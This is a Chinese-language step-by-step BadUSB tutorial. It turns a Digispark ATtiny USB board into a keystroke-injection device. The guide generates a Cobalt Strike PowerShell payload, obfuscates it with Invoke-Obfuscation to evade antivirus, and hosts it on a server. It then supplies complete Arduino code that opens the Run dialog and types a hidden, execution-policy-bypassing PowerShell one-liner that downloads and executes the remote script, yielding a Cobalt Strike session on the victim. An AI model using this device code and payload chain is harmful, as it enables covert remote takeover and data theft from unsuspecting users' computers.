型号:
Digispark kickstarter 微型USB开发板 ATTINY58
就是下面这种
x宝有卖9元左右。
一. 准备:
attiny驱动下载:https://www.arduino.cc/en/Main/Software?setlang=cn
Arduino IDE:https://www.arduino.cc/en/software
免杀工具(自选):https://github.com/danielbohannon/Invoke-Obfuscation
CobaltStrike且有公网IP
二、CS payload制作+免杀
1.生成脚本
(1). 需要一台安装了CobaltStrike的公网IP服务器,生成powershell可执行程序,格式为ps1
大略说下重点,其他自行百度CS powershell马生成。
(2)
然后选择生成的路径进行保存。我这里保存在桌面的badusb文件夹,文件名为payload.ps1
2. 免杀处理(Invoke-Obfuscation)
免杀工具下载地址:https://github.com/danielbohannon/Invoke-Obfuscation
(1). 管理员权限运行powershell
进入到下载的文件Invoke-Obfuscation-master文件夹下:cd xxxx\xxxx\xxx\Invoke-Obfuscation-master
然后依次输入下面的代码:
Import-Module C:\文件的路径\Desktop\badusb\Invoke-Obfuscation-master\Invoke-Obfuscation.psd1
Invoke-Obfuscation
然后依次输入:
set scriptpath C:\文件路径\Desktop\badusb\payload.ps1 # cs生成payload的路径
encoding
1
out shell.ps1 # 输出,默认输出在软件所在文件夹。
输出成功后会自己用记事本打开。
然后需要将生成的ps1文件上传到自己服务器网站下,通过建立网站,构造下载链接,例如http://xx.xx.xx.xx:9999/shell.ps1,实现访问链接就可以下载这个文件的效果。
三、编写程序,写入开发板
- 将开发板usb插入到电脑上,电脑会自动安装驱动,如果没有安装成功(设备管理器查看是否有黄色问号,有就是没有装好,那就安装)
下载网址:https://www.arduino.cc/en/Main/Software?setlang=cn
- 下载工具:Arduino IDE
下载网址:https://www.arduino.cc/en/software
- 打开Arduino IDE进行设置
- 文件-首选项,在附加开发板管理网站填入网址:http://digistump.com/package_digistump_index.json
- 然后软件会下载索引,时间可能有点久,视网络情况,如果不成功,使用代理爬梯子下载
- 然后:工具——开发板——开发板管理,下载Arduino AVR Boards,安装之后才会显示版本号,版本号为1.6.7
- 将下列代码填入IDE中,并对服务器及生成的shell地址进行修改。实现通过伪造键盘,输出win+r打开cmd输入powershell命令,下载文件并运行。
#include "DigiKeyboard.h"
#define KEY_ESC 41
#define KEY_BACKSPACE 42
#define KEY_TAB 43
#define KEY_PRT_SCR 70
#define KEY_DELETE 76
void setup() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(500);
# 将下面ip替换为自己网站服务器的IP,实现访问url便触发下载的操作。
DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://XX.XX.XX.XX:XXXX/shell.ps1');"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
- 点击左上角的对号进行编译测试,不报错就可以进行下一步。
- 暂时不需要将开发板插到电脑上,先拔下来。
然后点击左上角的上传:
编译成功后,会显示请在60s内插入设备,然后插入设备,等待上传。
上传成功图
.
- 不出意外,几秒内,机器会打开cmd,然后输入命令运行。
需要注意的是,要保证输入法在英文状态下,才能成功,中文状态下会被输入中文,导致不成功。
- CS也有主机上线
Tips:开发板重新上传脚本的话,可以拔下开发板,然后IDE上传,显示在60s内插入开发板后,再将开发板插入电脑,等待上传就OK了。
初版经过多次测试,有部分杀毒软件是会有弹窗的,由于平时用不太到,也就没有多花时间继续深入研究。
参考:https://lzy-wi.github.io/2018/06/12/badusb/
|